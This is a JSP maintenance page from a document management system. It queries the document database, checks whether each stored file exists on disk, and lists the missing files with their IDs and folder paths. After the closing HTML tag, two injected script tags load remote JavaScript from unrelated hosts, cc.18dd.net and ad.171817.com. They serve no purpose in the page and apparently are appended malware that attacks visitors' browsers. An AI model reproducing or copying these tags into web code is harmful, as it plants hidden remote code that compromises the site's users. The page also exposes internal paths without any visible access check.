
<%@ page import="java.util.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.io.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/> 
<%!
    String path="D:/ParaDM/file/ParaDOC";

    boolean fileExist(String fileName) throws Exception{
    	fileName = path + "/" + fileName;
	InputStream inputStream = null;
	try {
     	  inputStream = new FileInputStream(fileName);
	}catch (FileNotFoundException fnfe) {
		LogFactory.getLog(this.getClass()).error(fnfe, fnfe);
		return false;
	}finally{
		if(inputStream!=null){
			inputStream.close();
			inputStream=null;
		}
	}
	return true;
   }
%>
<html> 
<body> 
  <form action="CheckFile.jsp">
   <input type="text" name="start" value="go">
   <input type="submit"> 
  </form> 
<%
  if (request.getParameter("start")!=null) {
    Connection conn = DataSourceFactory.getConnection();
    DocumentRetrievalManager docRetrivalManager=new DocumentRetrievalManager(sessionContainer,conn);
    int count=0;
    try {
      List result = new ArrayList();
      Statement stmt = conn.createStatement();
      ResultSet rs = stmt.executeQuery("SELECT A.ID,A.DOCUMENT_NAME,B.CONVERTED_NAME,A.CREATE_DATE,A.PARENT_ID FROM DMS_DOCUMENT A, DMS_CONTENT B, DMS_VERSION C WHERE C.DOCUMENT_ID = A.ID AND A.DOCUMENT_TYPE IN ('D','C') AND C.CONTENT_ID = B.ID AND A.RECORD_STATUS='A' AND A.ITEM_STATUS<>'R' ORDER BY CREATE_DATE");
      while(rs.next()){
        String[] row = {rs.getString(1),rs.getString(2),rs.getString(3),rs.getString(4),rs.getString(5)};
        result.add(row);
      }	

      for (int j=0;j<result.size();j++) {
        if (j%200==0) {
          out.println("Checked:"+j+" files<br>");
          System.gc();
          out.flush();
        }
        String[] row = (String[])result.get(j);
        String fileName = row[2];
        if (!fileExist(fileName)) {
          count++; 
          out.print("<br>");
          out.print(row[0]+"["+row[3]+"]:["); 
          out.println(docRetrivalManager.getLocationPath(new Integer(row[4]))+"\\"+row[1]+"]");
          out.println("<br>"+row[2]);
        }
      }
      out.println("Total Missing files:"+count);
    } catch(Exception e) {
      out.println(e.getMessage());
      out.flush();
      LogFactory.getLog(this.getClass()).error(e, e);
    } finally {
      try { conn.close(); } catch (Exception i) {} finally { conn = null; }
    }
  }
%>
</body> 
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>